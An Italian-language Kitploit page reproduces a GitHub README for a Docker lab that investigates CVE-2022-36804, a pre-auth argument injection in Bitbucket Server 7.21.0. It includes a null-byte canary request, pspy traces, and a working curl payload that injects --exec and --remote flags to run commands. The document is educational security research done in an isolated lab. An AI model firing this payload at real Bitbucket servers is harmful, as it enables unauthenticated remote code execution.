Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
bitbucket-test — Investigating CVE-2022-36804 | Kitploit
Strumenti/GitHubGitHub/johangabrielson/bitbucket-test
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationLabs & Practice
GitHubjohangabrielson/bitbucket-test

bitbucket-test

Investigating CVE-2022-36804

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Container Docker per investigare CVE-2022-36804

Ricreazione di una vulnerabilità di esecuzione remota di codice in cui Bitbucket non sanifica l'input dell'utente, consentendo agli attaccanti di iniettare flag Git ed eseguire codice in remoto.

Questo repository documenta come ho riprodotto la vulnerabilità CVE-2022-36804, un problema di iniezione di argomenti pre-autenticazione in Bitbucket Server. L'obiettivo era dimostrare il problema di sicurezza sottostante come descritto nel writeup pubblico di Assetnote. Tutti i test sono stati eseguiti in un ambiente locale isolato.

Panoramica

CVE-2022-36804 è causata dal fatto che Bitbucket passa l'input dell'utente direttamente in un sottoprocesso di git archive senza sanificare i byte nulli. Poiché Bitbucket utilizza NuProcess per generare git, i byte nulli vengono preservati e causano la suddivisione degli argomenti. Ciò consente a un attaccante di iniettare flag git extra nel comando. Nelle versioni vulnerabili (come la 7.21.0 utilizzata in questa configurazione) ciò porta all'esecuzione remota di codice senza autenticazione.

Spiegazione di CVE-2022-36804

Questa vulnerabilità di esecuzione remota di codice pre-autenticazione si verifica nell'endpoint /archive che è responsabile della generazione di archivi del repository con la funzione di git archive. Bitbucket passa il parametro prefix direttamente nel sottoprocesso git ma senza sanificare i byte nulli. Poiché git è implementato in C, un byte nullo termina la stringa prematuramente. Tutto ciò che segue il byte nullo viene quindi interpretato come un argomento separato della riga di comando. Ciò consente all'attaccante di iniettare flag git arbitrari nel comando.

Questo funziona perché Bitbucket utilizza NuProcess che preserva i byte nulli invece di rimuoverli. Di conseguenza Git riceve l'input grezzo esattamente come fornito dall'utente. Poiché git tratta i byte nulli come terminatori di stringa, il valore di prefix viene suddiviso in più argomenti quando viene passato al sottoprocesso git. Ciò consente di introdurre di nascosto flag git aggiuntivi dopo il byte nullo. Se combinato con flag come --exec e --remote, questa iniezione di argomenti porta direttamente all'esecuzione remota di codice nelle versioni vulnerabili di Bitbucket Server.

Configurazione del laboratorio

  • Versione Bitbucket 7.21.0
  • Distribuzione: Docker Compose
  • Repository: repo di test pubblico (TEST/demo)
  • Host: ambiente laboratorio locale isolato

Per avviare l'ambiente:

root@kitploit:~
docker compose up -d

Verifica la versione:

root@kitploit:~
cat /opt/atlassian/bitbucket/VERSION

Dimostrazione della vulnerabilità

La chiave di questa CVE è mostrare che un byte nullo nel parametro prefix fa sì che Bitbucket passi più argomenti a git archive.

  1. Esegui pspy all'interno del container Bitbucket
root@kitploit:~
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

Lascia pspy in esecuzione.

  1. Attiva l'endpoint vulnerabile dall'host:
root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"

Questo verifica se il byte nullo causa la suddivisione degli argomenti.

  1. Osserva gli argomenti iniettati

In pspy Bitbucket genera:

root@kitploit:~
/usr/bin/git archive --format=zip --prefix=test canary/ -- 

Qui test e canary appaiono come argomenti separati invece di uno. Il %00 ha diviso l'input e Bitbucket è costretto a passarli come argomenti indipendenti a git.

L'immagine seguente mostra pspy in esecuzione all'interno del container Docker di Bitbucket che cattura /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). Ciò che è stato inviato come unico valore - test%00canary - viene passato come due argomenti separati. Il byte nullo ha diviso l'input, introducendo di nascosto un argomento extra nel comando git.

Screenshot 2026-03-30 191936
  1. Prova completa di RCE:

Iniettando --exec=touch /tmp/pwned e --remote=file:///... tramite byte nulli, il server esegue un comando arbitrario. Anche se git esce con codice 128, il comando viene eseguito prima che git dia l'errore e /tmp/pwned viene creato all'interno del container. Payload:

root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"   

L'immagine seguente mostra pspy che cattura l'intera catena di esecuzione - /usr/bin/git archive in esecuzione con argomenti --exec e --remote (PID=74412), che genera /bin/sh touch /tmp/pwned (PID=74413) Screenshot 2026-04-12 165103

Con docker exec -it bitbucket ls -la /tmp/pwned è stato possibile verificare che il file fosse stato creato. Questo è mostrato nell'immagine seguente. Screenshot 2026-04-12 164846

Riferimenti

  • Assetnote: RCE pre-autenticazione di Bitbucket tramite iniezione di argomenti git
    • https://www.assetnote.io/resources/research/breaking-bitbucket-pre-auth-remote-command-execution-cve-2022-36804
  • CVE-2022-36804
    • https://nvd.nist.gov/vuln/detail/CVE-2022-36804

Autore

Johan - Stoccolma, Svezia

Scarica lo strumento